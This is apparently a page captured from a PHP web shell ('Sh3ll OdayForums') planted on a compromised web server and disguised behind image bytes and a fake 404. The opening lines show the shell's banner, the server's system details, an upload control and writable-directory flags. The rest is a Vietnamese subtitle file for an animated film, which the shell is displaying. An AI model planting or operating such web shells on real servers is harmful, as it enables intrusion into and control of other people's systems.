����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c83ef1fe8fb1-1552150303.vtt
WEBVTT - https://subtitletools.com

00:00:44.190 --> 00:00:49.360
Dịch bởi weii.

00:00:55.780 --> 00:01:01.290
Loài người chúng ta có đầy tiềm năng và triển vọng.

00:01:01.290 --> 00:01:07.710
Nhưng chúng ta đã lãng phí món quà của tự nhiên ban tặng...
Trí tuệ của chúng ta.

00:01:07.750 --> 00:01:10.630
Sự mù quáng trong việc phát triển khoa học kỹ thuật.

00:01:10.840 --> 00:01:14.970
Đã nhanh chóng đẩy chúng ta đến chỗ diệt vong.

00:01:17.760 --> 00:01:21.640
Thế giới của chúng ta đã đến hồi kết.

00:01:21.640 --> 00:01:25.400
Nhưng sự sống vẫn phải tiếp tục.

00:05:28.060 --> 00:05:31.310
Chờ chút, tôi là bạn.

00:05:40.990 --> 00:05:45.410
Tuyệt, tôi đã luôn hy vọng...

00:05:49.700 --> 00:05:51.660
Dường như là...

00:05:52.080 --> 00:05:56.210
Những chi tiết này
được làm rất kỹ lưỡng.

00:05:56.210 --> 00:05:58.750
Bằng đồng à.

00:06:01.550 --> 00:06:03.720
Cậu không nói được à?

00:06:15.020 --> 00:06:17.360
Theo tôi nào.

00:06:25.700 --> 00:06:26.780
Đây rồi.

00:06:27.820 --> 00:06:29.450
Dừng lại.

00:06:31.160 --> 00:06:34.460
Có những thứ trên thế giới này...

00:06:34.460 --> 00:06:36.920
Cậu nên cứ để yên nó như vậy.

00:06:37.630 --> 00:06:40.380
Nhưng nếu cậu tìm đúng chỗ...

00:06:40.800 --> 00:06:43.920
Những thứ bỏ đi này đôi khi lại rất hữu ích.

00:06:46.470 --> 00:06:47.890
Chờ chút...

00:06:48.590 --> 00:06:50.890
Được rồi này.

00:06:50.890 --> 00:06:54.310
Bạn...
Bạn.

00:06:54.310 --> 00:06:57.270
Bạn?
- Đúng vậy, Bạn.

00:07:03.860 --> 00:07:06.240
Cái gì đây?

00:07:08.610 --> 00:07:11.370
Cậu đã tìm thấy nó à.

00:07:12.120 --> 00:07:15.910
Vật này, vật này ẩn chứa sức mạnh bên trong nó.

00:07:20.000 --> 00:07:21.750
Ở đây chỉ có chúng ta thôi hả?

00:07:22.380 --> 00:07:24.010
Không, không...

00:07:29.010 --> 00:07:30.850
Nấp vào.

00:07:36.430 --> 00:07:39.150
Chui vào cái hộp đi
Mau lên.

00:08:53.470 --> 00:08:56.390
Hãy kết thúc cái điều mà mày đã làm...

00:08:56.390 --> 00:08:58.270
Với tao.

00:09:59.580 --> 00:10:01.500
Không sao đâu.

00:10:01.500 --> 00:10:03.660
Tôi sẽ không hại cậu đâu.

00:10:04.080 --> 00:10:06.920
Cậu an toàn rồi.

00:10:08.840 --> 00:10:11.010
Tôi đang ở đâu thế này?

00:10:11.010 --> 00:10:15.220
Với bọn tôi, Tôi không mong đợi
sẽ được thấy thêm người mới.

00:10:15.220 --> 00:10:17.430
Xong rồi đấy.

00:10:17.720 --> 00:10:20.600
Nếu số 2 ở đây
cậu ta sẽ làm việc này tốt hơn tôi.

00:10:21.220 --> 00:10:24.230
Cậu ta đi đâu rồi nhỉ?
-Tôi đã gặp anh ta.

00:10:24.310 --> 00:10:27.020
Số 2? Ở đâu?
Bên ngoài à?

00:10:27.020 --> 00:10:30.320
Cậu ta sao rồi ...?
-Cậu có chuyện gì giấu tôi à?

00:10:30.320 --> 00:10:32.990
Tôi định nói cho anh biết.

00:10:33.530 --> 00:10:35.150
Gì thế này?

00:10:35.150 --> 00:10:39.080
Tôi... Tôi tìm thấy cậu ta
Ở ngoài bãi đất trống.

00:10:39.620 --> 00:10:41.120
Cậu làm cái quái gì ngoài đó vậy?

00:10:41.120 --> 00:10:43.450
Cậu biết "Con Thú" đang rình rập ngoài đó mà?

00:10:43.450 --> 00:10:45.250
Tôi phải nói bao nhiêu lần cậu mới hiểu hả?

00:10:45.330 --> 00:10:49.380
Con Thú? Nó đã bắt số 2
Nếu ta nhanh lên, ta sẽ cứu được anh ấy.

00:10:49.380 --> 00:10:53.130
Con Thú đã bắt được số 2, vậy coi như cậu ta tiêu đời rồi.
Nhưng anh ấy vẫn còn sống.

00:10:53.210 --> 00:10:55.220
Không! Ở đây, chúng tôi có luật lệ của mình.

00:11:03.020 --> 00:11:06.600
Vị khách của chúng ta có vẻ hơi bối rối.

00:11:06.600 --> 00:11:10.570
Có lẽ tôi sẽ giúp được cậu điều gì đó.

00:11:31.920 --> 00:11:36.170
Nó chưa giết số 2 à?
-Im nào.

00:11:47.440 --> 00:11:50.100
Giữ chặt nào.

00:12:30.850 --> 00:12:33.480
Khi chúng tôi tỉnh giấc ở giữa thế giới này.

00:12:33.480 --> 00:12:35.440
Nó rất hỗn loạn.

00:12:35.440 --> 00:12:41.360
Con người và máy móc, tấn công và giết lẫn nhau.

00:12:52.250 --> 00:12:54.380
Tôi đã tìm thấy những người khác.

00:12:58.800 --> 00:13:01.430
Bọn chúng tấn công tới đây rồi.

00:13:02.180 --> 00:13:04.550
Theo tôi.

00:14:14.620 --> 00:14:18.420
Khí độc của bọn chúng đã giết chết tất cả mọi thứ.

00:14:20.460 --> 00:14:24.380
Tôi đưa họ đến đây...

00:14:24.380 --> 00:14:24.470
Và chúng tôi trốn ở đây cho đến khi cuộc chiến kết thúc.
Tôi đưa họ đến đây...

00:14:24.470 --> 00:14:27.720
Và chúng tôi trốn ở đây cho đến khi cuộc chiến kết thúc.

00:14:27.720 --> 00:14:31.060
Một cách từ từ, thế giới này trở nên câm lặng.

00:14:31.100 --> 00:14:34.520
Tất cả những gì còn sót lại...

00:14:34.520 --> 00:14:36.480
Đó là Con Thú.

00:14:37.190 --> 00:14:43.610
Và chúng tôi tiếp tục ẩn nấp.
Chỉ ra ngoài khi Con Thú đó đã ngủ say.

00:14:43.610 --> 00:14:46.820
Nhưng bọn chúng đến từ đâu?
Sao chúng lại săn đuổi chúng ta?

00:14:46.820 --> 00:14:48.910
Thật vô ích khi hỏi những câu như thế.

00:14:48.910 --> 00:14:52.540
Chúng ta phải bảo vệ mình
Giữ cho bản thân tránh khỏi những nguy hiểm ngoài kia.

00:14:52.540 --> 00:14:56.330
Đã quá nhiều người trong chúng ta phải chết rồi.

00:14:57.830 --> 00:15:00.210
Nhưng, anh ấy chưa chết.

00:15:00.710 --> 00:15:04.260
Sao ông không nghe tôi nói chứ?
-Số 2 đã tự chọn lấy kết cục của cậu ta.

00:15:05.010 --> 00:15:08.800
Tôi khuyện cậu không nên lặp lại sai lầm giống như vậy.

00:15:13.220 --> 00:15:15.230
Lên tháp canh đi.

00:15:15.230 --> 00:15:18.560
Và mang vị khách này theo cậu.

00:16:20.080 --> 00:16:23.380
Đây là thứ đầu tiên
mà chúng tôi cùng xây dựng nên.

00:16:24.340 --> 00:16:27.010
Chúng ta vẫn có thể đuổi theo anh ta.
Sao cơ?

00:16:27.010 --> 00:16:29.840
Nhưng cậu ấy có thể ở bất cứ đâu.

00:16:32.720 --> 00:16:36.600
Đó là nơi nó bắt anh ấy đến.
Ở chỗ có hình 3 ngọn tháp đằng kia.

00:16:39.640 --> 00:16:43.900
Ồ không! Chúng ta không thể đến đó được.

00:16:43.940 --> 00:16:45.780
Chúng ta còn có luật lệ.

00:16:48.490 --> 00:16:52.870
Tại sao chúng ta phải nghe theo lời số 1?
-Một nhóm phải có người lãnh đạo.

00:16:52.870 --> 00:16:55.160
Sẽ ra sao nếu ông ta sai?

00:16:57.580 --> 00:17:00.080
Đi với tôi.

00:17:00.080 --> 00:17:01.830
Tôi không thể làm chuyện này một mình được.

00:17:02.250 --> 00:17:03.920
Tôi...

00:17:05.460 --> 00:17:07.590
Tôi không thể.

00:17:07.590 --> 00:17:09.300
Nhưng...

00:17:09.300 --> 00:17:11.680
Chẳng phải anh ta đã cứu anh sao?

00:17:26.820 --> 00:17:28.780
Chờ chút.

00:17:33.870 --> 00:17:36.160
Chúng ta sẽ cần một tấm bản đồ đấy.

00:17:37.330 --> 00:17:41.080
Mất một mắt thật ra cũng chẳng phải việc gì ghê gớm lắm.

00:17:41.250 --> 00:17:45.130
Cậu biết đấy,
chẳng qua là bây giờ tôi phải tập trung nhìn vào một thứ 2 lần thôi.

00:18:09.650 --> 00:18:12.070
Tại sao cậu ấy lúc nào cũng ở ngoài này một mình vậy chứ?

00:18:31.090 --> 00:18:34.590
Đường này dẫn đi đâu?
-Tôi không biết.

00:18:37.180 --> 00:18:39.180
Đợi đã.

00:18:49.610 --> 00:18:52.110
Chúng ta phải quay lại thôi.

00:18:53.990 --> 00:18:55.780
Chúng ta không thể.

00:19:07.080 --> 00:19:09.250
Con Thú.

00:19:12.210 --> 00:19:14.050
Tối quá.

00:19:17.720 --> 00:19:20.260
Chúng ta có thể sử dụng những thứ này.

00:19:49.250 --> 00:19:51.040
Chờ chút.

00:20:07.140 --> 00:20:09.730
Số 2 chắc sẽ rất ấn tượng đây.

00:20:14.280 --> 00:20:16.440
Chúng ta sẽ tìm thấy anh ấy.

00:20:22.910 --> 00:20:27.410
Cậu biết không? Cậu rất giống số 2 đấy.
Cậu không biết sợ là gì cả?

00:20:49.100 --> 00:20:51.480
Tôi chờ ở ngoài nhé?

00:21:08.000 --> 00:21:11.370
Sao nó lại mang anh ấy tới đây nhỉ?

00:21:54.210 --> 00:21:56.420
Số 2!

00:21:58.800 --> 00:22:00.720
Số 2?

00:22:11.770 --> 00:22:14.150
Tôi biết các cậu sẽ đến mà.

00:22:14.650 --> 00:22:16.560
Tôi cứ nghĩ anh đã...?

00:22:51.680 --> 00:22:54.440
Đồ bẩn thỉu.

00:23:43.070 --> 00:23:45.740
Số 7?
-Thật không thể tin được.

00:23:57.500 --> 00:24:00.840
Cậu đã trở lại.
-Tôi chưa bao giờ mất tích cả.

00:24:01.460 --> 00:24:04.130
Cuối cùng cậu cũng quyết định tham gia vào việc này.

00:24:08.470 --> 00:24:10.680
Cô làm rơi này.

00:24:11.390 --> 00:24:12.850
Cậu đã trốn ở đâu vậy?

00:24:12.970 --> 00:24:17.690
Rỉ sét, chắp vá, một đống sắt vụn khốn kiếp.

00:24:50.130 --> 00:24:51.640
Chờ chút.

00:24:53.430 --> 00:24:55.970
Cậu đang làm gì thế?
Chúng ta không biết nó là cái gì...

00:25:09.820 --> 00:25:12.530
Không! Số 2!

00:25:58.200 --> 00:26:00.460
Nhảy!

00:26:29.730 --> 00:26:32.070
Nhanh lên, nhanh lên.

00:27:18.830 --> 00:27:21.490
Hai cậu còn chờ cái gì vậy?

00:27:22.160 --> 00:27:23.370
Chạy tiếp đi.

00:27:24.250 --> 00:27:25.920
Mau lên.

00:27:47.020 --> 00:27:51.900
Tôi biết mà, lẽ ra chúng ta không nên tới đây.
Tại sao? Tại sao cậu lại làm thế?

00:27:51.900 --> 00:27:54.610
Tôi không biết.\Tôi xin lỗi.

00:27:57.490 --> 00:27:59.320
Tôi xin lỗi.

00:28:03.080 --> 00:28:05.330
Cậu đã nghĩ cái quái gì vậy chứ?

00:28:12.340 --> 00:28:14.840
Chúng ta sẽ làm gì tiếp theo đây?

00:28:15.420 --> 00:28:18.300
Tôi biết nơi chúng ta có thể tìm thấy câu trả lời.

00:29:28.830 --> 00:29:32.330
Thế giới này đã từng trông giống như vậy sao?

00:29:35.090 --> 00:29:37.670
Tới đây nào.

00:30:04.530 --> 00:30:08.120
Chúng ở đây sao? Suốt thời gian qua?

00:30:09.410 --> 00:30:11.120
Cặp song sinh.

00:30:11.710 --> 00:30:15.040
Tụi nó trốn ở đây.

00:30:15.130 --> 00:30:17.130
Để tìm câu trả lời.

00:30:21.220 --> 00:30:23.220
Tụi nó đang tìm hiểu anh đấy.

00:30:36.270 --> 00:30:37.860
Chúng tôi cần các em giúp.

00:30:37.860 --> 00:30:42.280
Chúng tôi... đã đánh thức một thứ gì đó.
Không, là tôi, tôi đã đánh thức một thứ gì đó.

00:30:42.280 --> 00:30:44.700
Một thứ rất khủng khiếp.

00:30:52.790 --> 00:30:54.670
Chính là nó.

00:31:25.780 --> 00:31:30.160
Một phát minh vĩ đại.

00:31:32.040 --> 00:31:35.040
Hôm nay, thủ tướng của chúng ta sẽ giới thiệu
một phát kiến thiên tài...

00:31:35.210 --> 00:31:37.750
trong lĩnh vực khoa học kỹ thuật
đến với công chúng.

00:31:37.960 --> 00:31:39.840
Gon Mersh.

00:31:40.000 --> 00:31:42.880
Ngày hôm nay, chúng ta đón chào một kỷ nguyên mới.

00:31:43.090 --> 00:31:47.090
Hãy cùng nhau thưởng thức
thành tựu của nền khoa học kỹ thuật tiên tiến.

00:31:47.260 --> 00:31:51.060
Chào mừng đến với kỷ nguyên của Máy Móc.

00:31:51.140 --> 00:31:54.640
Những cỗ máy được tạo ra để gìn giữ hoà bình...

00:31:54.730 --> 00:31:59.150
Để tạo nên một kỷ nguyên mới đầy vinh quang.

00:31:59.190 --> 00:32:02.360
Mang lại sự giàu có và thịnh vượng cho quốc gia.

00:32:02.440 --> 00:32:04.570
Phát động chiến tranh.

00:32:10.030 --> 00:32:11.530
Những cỗ máy phản lại chúng ta.

00:32:11.660 --> 00:32:15.410
Chính phủ yêu cầu
chấm dứt sự xâm lược của những cỗ máy.

00:32:17.620 --> 00:32:21.790
Đã rất nhiều lần, khoa học tiếp tay cho tội ác chống lại con người.

00:32:22.840 --> 00:32:25.590
Hãy cùng nhau bảo vệ tổ quốc.

00:32:25.670 --> 00:32:32.510
Hãy tham gia với chúng tôi
Dưới ngọn cờ kháng chiến chống lại máy móc.

00:32:43.110 --> 00:32:46.400
Nhưng, vật đó đã đánh thức Cỗ Máy.
Nó hình tròn và...

00:32:46.400 --> 00:32:49.410
Hình thù rất kì quái.

00:32:53.740 --> 00:32:56.290
Dạng như thế này...

00:32:56.500 --> 00:33:00.040
Nó hoàn toàn khớp với cỗ máy.

00:33:00.040 --> 00:33:02.380
Cứ như là nó được làm ra sẵn cho cỗ máy vậy.

00:33:03.000 --> 00:33:05.630
Đó là thứ mà Số 6 vẽ suốt ngày.

00:33:05.710 --> 00:33:07.300
Số 6?

00:33:07.380 --> 00:33:09.630
Số 2 thu thập những bức vẽ đó.

00:33:09.970 --> 00:33:12.850
Cậu ta lúc nào cũng nghiên cứu chúng.

00:33:15.010 --> 00:33:17.770
Tôi phải gặp số 6.
-Sao chứ?

00:33:17.770 --> 00:33:20.060
Quay về chỗ số 1 ấy hả?

00:33:20.060 --> 00:33:23.730
Để hắn có thể bỏ tù chúng ta
trong khi "cơn ác mộng" vừa mới thức dậy ngoài kia?

00:33:24.400 --> 00:33:26.480
Không bao giờ.

00:33:53.140 --> 00:33:55.720
Coi nào.

00:33:56.220 --> 00:33:58.310
Có lẽ nó ở đâu đây.

00:33:58.770 --> 00:34:00.690
Đây rồi, đây rồi.

00:34:00.690 --> 00:34:01.940
Chúng đây rồi.

00:34:02.270 --> 00:34:04.440
Phải nó không?

00:34:11.150 --> 00:34:14.030
Các cậu...!đánh thức... CÁI GÌ?

00:34:14.030 --> 00:34:16.200
Lũ ngốc các cậu.

00:34:16.240 --> 00:34:18.870
Tôi đã cảnh cáo các cậu.
-Ông ta đã cảnh cáo các người.

00:34:18.870 --> 00:34:21.960
Giờ thì nhìn xem các cậu đã gây ra điều gì!?

00:34:21.960 --> 00:34:27.460
Và cho tôi hỏi, có phải các cậu đã định cứu Số 2 có đúng vậy không?

00:34:27.460 --> 00:34:31.590
Các cậu đã mạo hiểm
và phá hỏng mọi thứ.

00:34:31.590 --> 00:34:35.390
Tại sao ngay từ đầu Số 2 lại bị gửi ra ngoài đó?
Tôi đã cử cậu ta đi trinh sát.

00:34:35.390 --> 00:34:36.760
Để tôi làm rõ một việc nhé...

00:34:36.760 --> 00:34:39.560
Ông không gửi người già nhất ra ngoài đó để...
Coi nào...

00:34:39.560 --> 00:34:42.560
Chúng ta phải tìm ra xem chuyện gì đang diễn ra ở đây.

00:34:42.810 --> 00:34:46.150
Nguồn năng lượng...Nguồn năng lượng...

00:34:47.230 --> 00:34:51.030
Quay lại...nguồn năng lượng.

00:34:51.940 --> 00:34:55.030
Chính thứ này! Chính thứ này đã đánh thức "Cỗ Máy".

00:34:56.490 --> 00:34:58.450
Cậu biết gì về cái thứ này?

00:34:59.540 --> 00:35:02.080
Cậu đã đi quá xa rồi đấy.

00:35:02.080 --> 00:35:04.580
Tôi sẽ không cho phép cậu gây nguy hiểm cho bọn tôi nữa.

00:35:04.790 --> 00:35:06.710
Khám xét bọn chúng.

00:35:06.710 --> 00:35:10.000
Khám... cái gì?
Ngu thật.

00:35:10.000 --> 00:35:11.800
Tịch thu hết đồ đạc của tụi nó.

00:35:15.930 --> 00:35:17.850
Này ...
-Số 9!

00:35:23.230 --> 00:35:26.560
Ông chẳng là gì ngoài một kẻ hèn nhát.

00:35:28.860 --> 00:35:34.570
Sao ngươi dám thách thức ta?
Ta người đã giữ cho họ an toàn trong suốt ngần ấy năm.

00:35:34.570 --> 00:35:38.120
Kể từ khi ngươi xuất hiện, mọi thứ trở nên loạn hết cả lên.

00:35:38.120 --> 00:35:40.410
Ngươi là sự nguyền rủa. Ngươi là một thằng ngu.

00:35:40.620 --> 00:35:44.830
Bị dẫn dắt bởi những thứ ngu xuẩn và vô căn cứ.
Còn ông thì bị mù rồi.

00:35:44.830 --> 00:35:47.040
Và bị dẫn dắt bởi nỗi sợ hãi.

00:35:51.130 --> 00:35:55.930
Đôi lúc, sợ hãi lại là phản ứng thích hợp hơn cả.

00:36:13.230 --> 00:36:14.820
Không!

00:36:24.870 --> 00:36:27.250
Số 9.
Chạy mau.

00:36:39.510 --> 00:36:42.970
Tiếp tục chạy đi, tôi sẽ tìm đường khác xuống.

00:37:28.180 --> 00:37:30.440
Đi nào.

00:38:26.740 --> 00:38:29.330
Để tôi thử lại xem nào.

00:38:34.380 --> 00:38:37.630
Sợi cáp! Kéo nó đi.

00:38:51.140 --> 00:38:53.390
Bám chắc vào.

00:39:03.400 --> 00:39:05.570
Nối dây điện vào nào.

00:39:21.260 --> 00:39:24.930
...Áo choàng của ông! Vứt nó đi.

00:39:25.010 --> 00:39:26.640
Tôi không thể.

00:39:26.640 --> 00:39:28.930
Làm ngay!

00:39:45.860 --> 00:39:48.030
Ổn rồi.

00:41:45.320 --> 00:41:48.490
Bọn chúng sẽ kéo đến đây nữa.

00:41:48.780 --> 00:41:50.950
Đúng vậy.

00:41:51.820 --> 00:41:53.780
Ở đây không an toàn.

00:41:54.080 --> 00:41:55.990
Số 8, ra ngoài canh gác đi.

00:42:01.120 --> 00:42:04.420
Tôi sẽ tìm một nơi trú ẩn an toàn hơn.

00:43:20.580 --> 00:43:24.500
Gì vậy? Cái gì vậy? Nguồn năng lượng.

00:43:24.500 --> 00:43:26.290
Thứ đó đánh thức "Cỗ Máy".

00:43:26.920 --> 00:43:30.000
Quay lại, quay lại.
Quay lại đâu?

00:43:30.000 --> 00:43:32.090
Khoa học hắc ám.

00:43:32.170 --> 00:43:36.510
Toàn thứ rác rưởi.
Quên chúng đi.

00:43:36.510 --> 00:43:38.350
Ông biết điều gì à?

00:43:38.720 --> 00:43:39.680
Ông biết chuyện gì nào?

00:43:39.680 --> 00:43:42.850
Tôi biết đủ để

00:43:42.850 --> 00:43:44.940
giữ cho tất cả chúng ta tránh xa khỏi những rắc rối.

00:43:44.940 --> 00:43:47.730
Mọi người chỉ việc nghe lời tôi.
Nhưng cậu...

00:43:47.730 --> 00:43:49.520
lúc nào cũng hỏi.

00:43:49.520 --> 00:43:53.110
Quá nhiều câu hỏi, vô ích, ngu xuẩn.

00:43:53.110 --> 00:43:56.410
Như số 2, hắn ta lúc nào cũng phải biết mọi thứ mới chịu.

00:43:57.030 --> 00:43:59.870
Tôi đã đúng, ông gửi cậu ta ra ngoài để cho cậu ta chết.

00:43:59.870 --> 00:44:02.450
Hắn ta già, và hắn ta yếu rồi.

00:44:03.410 --> 00:44:07.460
Đôi khi, một người phải hy sinh cho lợi ích số đông.

00:44:07.460 --> 00:44:09.960
Đồ hèn hạ!

00:44:12.340 --> 00:44:14.220
Số 7.

00:44:28.440 --> 00:44:32.230
Cậu đã khiến tất cả chúng ta rơi vào thảm hoạ này.

00:44:38.660 --> 00:44:42.330
Chúng ta phải quay trở lại.
-trở lại? trở lại đâu?

00:44:42.330 --> 00:44:46.290
Căn phòng đầu tiên. Nơi tôi tỉnh dậy.

00:45:40.970 --> 00:45:44.760
Hắn không thể làm chuyện đó một mình hay sao?

00:45:44.760 --> 00:45:47.230
Lôi cả ta dính vào chuyện này.

00:45:49.560 --> 00:45:53.110
Ta biết chúng ta cần gì.
Ta biết cái gì là đúng.

00:46:17.630 --> 00:46:20.340
Không, không thể nào.

00:46:20.840 --> 00:46:23.090
Không, không!

00:46:28.390 --> 00:46:30.690
Tìm bọn họ đi.

00:47:12.390 --> 00:47:14.310
Đừng nhìn vào mắt nó.

00:47:25.780 --> 00:47:28.160
Số 5.

00:47:49.930 --> 00:47:52.350
Số 7!
Số 9!

00:48:14.710 --> 00:48:17.040
Chúng ta phải theo cứu họ.\ N-Cái gì?

00:48:17.540 --> 00:48:21.500
Số 8? Số 8 đâu?
Thứ đó bắt họ đi rồi.

00:48:21.500 --> 00:48:23.800
Nó mang họ về chỗ "Cỗ Máy".

00:48:24.470 --> 00:48:26.380
Vậy thì trễ mất rồi.

00:48:26.930 --> 00:48:31.060
Chúng ta, chúng ta phải rời khỏi đây.
Chúng ta phải tìm một chỗ trú ẩn khác.

00:48:31.060 --> 00:48:32.560
Không trốn tránh nữa.

00:48:32.560 --> 00:48:35.730
Chúng ta phải cứu họ.
Tất cả chúng ta.

00:48:36.230 --> 00:48:40.570
Có cần tôi nhắc cho cậu nhớ,
chuyến phiêu lưu "anh hùng" của cậu đã đem lại điều gì không?

00:48:54.290 --> 00:48:56.790
Tôi không thể để điều này xảy ra với họ.

00:50:21.370 --> 00:50:24.750
Tôi đi đây.
Tôi đi với cậu.

00:50:25.250 --> 00:50:28.510
Không, tôi cần cậu ở lại đây.

00:50:29.340 --> 00:50:31.680
Nếu tôi không quay lại...

00:50:32.340 --> 00:50:34.970
Hãy phá hủy nó.

00:50:38.890 --> 00:50:42.230
Chờ đã! Bằng cách nào?

00:50:52.410 --> 00:50:58.040
Vậy đó hả?
Nói tôi nghe kế hoạch "thông minh" của các cậu là gì nào?

00:51:00.000 --> 00:51:02.370
Chúng ta có đầy đủ những thứ cần thiết.

00:52:11.030 --> 00:52:12.860
Ở đằng này!

00:52:59.870 --> 00:53:03.330
Họ ở đâu rồi?
Lâu quá rồi chúng ta phải hành động thôi.

00:53:03.370 --> 00:53:07.250
Chúng ta phải làm ngay!
-Không! Họ cần thêm thời gian.

00:53:12.250 --> 00:53:14.380
Chúng ta phải kéo nó xuống.

00:53:43.740 --> 00:53:47.540
Họ đang đến, họ đang đến
-Cứu!

00:53:47.540 --> 00:53:49.670
Cứu chúng tôi.

00:53:51.130 --> 00:53:53.880
Không!Chư đâu.

00:53:54.380 --> 00:53:58.970
Tránh ra, đồ ngốc.
-Số 5

00:53:58.970 --> 00:54:01.090
Bọn tôi đến đây.

00:54:01.090 --> 00:54:02.720
Làm ngay đi.

00:55:26.180 --> 00:55:29.470
Hừm, đáng kiếp.

00:55:30.060 --> 00:55:32.190
Kết thúc rồi.

00:56:25.860 --> 00:56:28.120
Cám ơn.

00:57:33.850 --> 00:57:38.640
Mọi người! Cỗ Máy! Nó còn sống!

00:57:43.190 --> 00:57:44.940
Không!

00:57:46.440 --> 00:57:48.950
Chúng ta không thể làm gì được đâu.

00:57:52.990 --> 00:57:55.330
Cứu!

00:57:56.540 --> 00:57:59.870
Không! Không! Làm ơn! Không!

00:58:00.790 --> 00:58:02.790
Không!

00:58:12.930 --> 00:58:16.220
Họ bị nhốt.

00:58:19.230 --> 00:58:21.850
Đến chỗ cây cầu, mau lên.

00:58:29.650 --> 00:58:33.280
Không! Họ bị nhốt!
Họ bị nhốt bên trong Cỗ Máy.

00:58:33.280 --> 00:58:36.160
Số 6, thôi nào! Đến chỗ cây cầu, mau lên.

00:58:54.930 --> 00:58:58.020
Không! Dừng lại, cậu không được phá hủy nó.

00:58:58.020 --> 00:59:00.940
Chạy đi số 6.
Cậu không được phá hủy nó. Không được.

00:59:01.310 --> 00:59:05.270
Họ bị nhốt, họ bị nhốt ở bên trong.
Ở bên trong!

00:59:18.790 --> 00:59:20.250
Đi thôi.

00:59:25.710 --> 00:59:28.670
Quay lại căn phòng đầu tiên.

00:59:28.670 --> 00:59:29.210
Ông ta sẽ chỉ cho cậu thấy. Nguồn năng lượng.
Quay lại căn phòng đầu tiên!

00:59:29.210 --> 00:59:32.720
Ông ta sẽ chỉ cho cậu thấy.  Nguồn năng lượng.

00:59:51.650 --> 00:59:54.860
Nó phải bị phá huỷ.
Không chúng ta không thể.

00:59:54.860 --> 00:59:57.780
Ông không nghe cậu ta nói gì à?
Họ bị nhốt ở trong đó.

00:59:57.870 --> 01:00:00.950
Chúng ta vẫn có thể cứu họ.
Gì cơ?

01:00:00.950 --> 01:00:03.040
Bằng cách nào?
Chúng ta phải tìm ra nguồn năng lượng.

01:00:03.160 --> 01:00:05.000
Nó nắm giữ mọi câu trả lời.

01:00:06.670 --> 01:00:10.000
Chúng ta cần phải phá hủy nó.
-Nhưng vẫn còn cơ hội mà.

01:00:14.380 --> 01:00:17.100
Chúng ta không còn thời gian nữa.

01:00:17.970 --> 01:00:19.140
Số 9...

01:00:19.350 --> 01:00:21.470
Họ mất rồi.

01:00:22.680 --> 01:00:24.690
Các người sai rồi.

01:00:25.600 --> 01:00:29.770
Số 9...
Để cậu ta đi.

01:01:32.750 --> 01:01:35.590
Chào con, Số 9.

01:01:35.590 --> 01:01:39.930
Cỗ Máy của ta là một thứ rất có triển vọng.

01:01:39.930 --> 01:01:43.430
...là một thứ rất có triển vọng.

01:01:44.140 --> 01:01:45.980
Một sáng chế...

01:01:46.180 --> 01:01:51.020
...của ta theo thoả thuận với thủ tướng.

01:01:52.110 --> 01:01:55.990
Nó không phải hoàn toàn là lỗi của Cỗ Máy.

01:01:56.490 --> 01:02:00.780
Nó chỉ được tạo thành từ những kiến thức và hiểu biết của ta.

01:02:01.240 --> 01:02:06.540
Và ta biết, chỉ bấy nhiêu thôi là chưa đủ.

01:02:06.540 --> 01:02:12.130
Cỗ Máy của ta là hoàn hảo, không có tì vết,
nó cũng rất nguy hiểm.

01:02:12.130 --> 01:02:15.300
Nhưng nó thiếu một trái tim của con người.

01:02:15.300 --> 01:02:19.720
Vì vậy nếu kiểm soát không tốt, nó sẽ gây hại cho thế giới.

01:02:19.720 --> 01:02:22.970
Đó là lý do vì sao ta tạo ra các con.

01:02:22.970 --> 01:02:26.640
Các con là những người duy nhất có thể kết thúc chuyện này.

01:02:26.640 --> 01:02:32.270
Tất cả các con đều là một mảnh linh hồn của ta.

01:02:33.770 --> 01:02:38.900
Cùng nhau. Các con và vật này.
Sẽ bảo vệ tương lai.

01:02:39.490 --> 01:02:45.830
Nhìn cho kỹ, và hãy nhớ lấy điều mà con sắp nhìn thấy.

01:04:15.170 --> 01:04:17.670
Bắn!

01:04:17.670 --> 01:04:19.250
Không!

01:04:29.010 --> 01:04:31.560
Tôi đã biết tất cả mọi chuyện.

01:04:32.430 --> 01:04:34.600
Nhà khoa học.

01:04:34.600 --> 01:04:37.860
Là nhà khoa học.
Ông ấy là nguồn năng lượng.

01:04:38.440 --> 01:04:40.360
Ông ấy đã trao cho chúng ta linh hồn của mình.

01:04:40.860 --> 01:04:43.690
Tất cả chúng ta là đều là một phần của ông ấy.

01:04:49.120 --> 01:04:51.080
Nạp đạn.

01:04:51.080 --> 01:04:53.870
Dừng lại! Ông sẽ hủy mất lá bùa mất.

01:04:56.080 --> 01:04:58.130
Quá muộn rồi.

01:05:35.250 --> 01:05:37.170
Đến đây,vào trong này, nhanh lên.

01:05:39.960 --> 01:05:42.380
Chúng ta phải lấy lại lá bùa từ Cỗ Máy.

01:05:42.500 --> 01:05:45.340
Tôi sẽ đánh lạc hướng nó.

01:05:45.340 --> 01:05:48.840
Các cậu sẽ có cơ hội.
-Không! Không được, đừng làm thế.

01:05:49.300 --> 01:05:51.350
Sẽ ra sao nếu như anh sai?
Tôi sẽ chỉ cô cách sử dụng nó.

01:05:51.350 --> 01:05:53.510
Sẽ ổn cả thôi.

01:05:56.430 --> 01:05:58.350
Đó là điều bí mật.

01:06:35.140 --> 01:06:36.930
Không!

01:06:37.270 --> 01:06:40.400
Xin đừng! Chúng tôi không thể làm được nếu không có anh.

01:06:41.980 --> 01:06:44.480
Tất cả họ đều chết bởi vì tôi.

01:06:44.480 --> 01:06:47.570
Tôi bắt đầu chuyện này.
Tôi có trách nhiệm phải kết thúc nó.

01:06:50.910 --> 01:06:52.870
Họ không để lại cho chúng ta gì cả.

01:06:53.120 --> 01:06:54.910
Không gì cả.

01:06:55.240 --> 01:06:58.330
Tại sao ta phải sửa chữa sai lầm của họ chứ?

01:06:58.910 --> 01:07:03.080
Đôi khi, có ai đó phải hy sinh.

01:07:05.800 --> 01:07:07.880
Không!

01:08:16.070 --> 01:08:18.330
Anh làm được rồi.

01:08:19.870 --> 01:08:23.250
Không, không hẳn.

01:08:24.580 --> 01:08:26.710
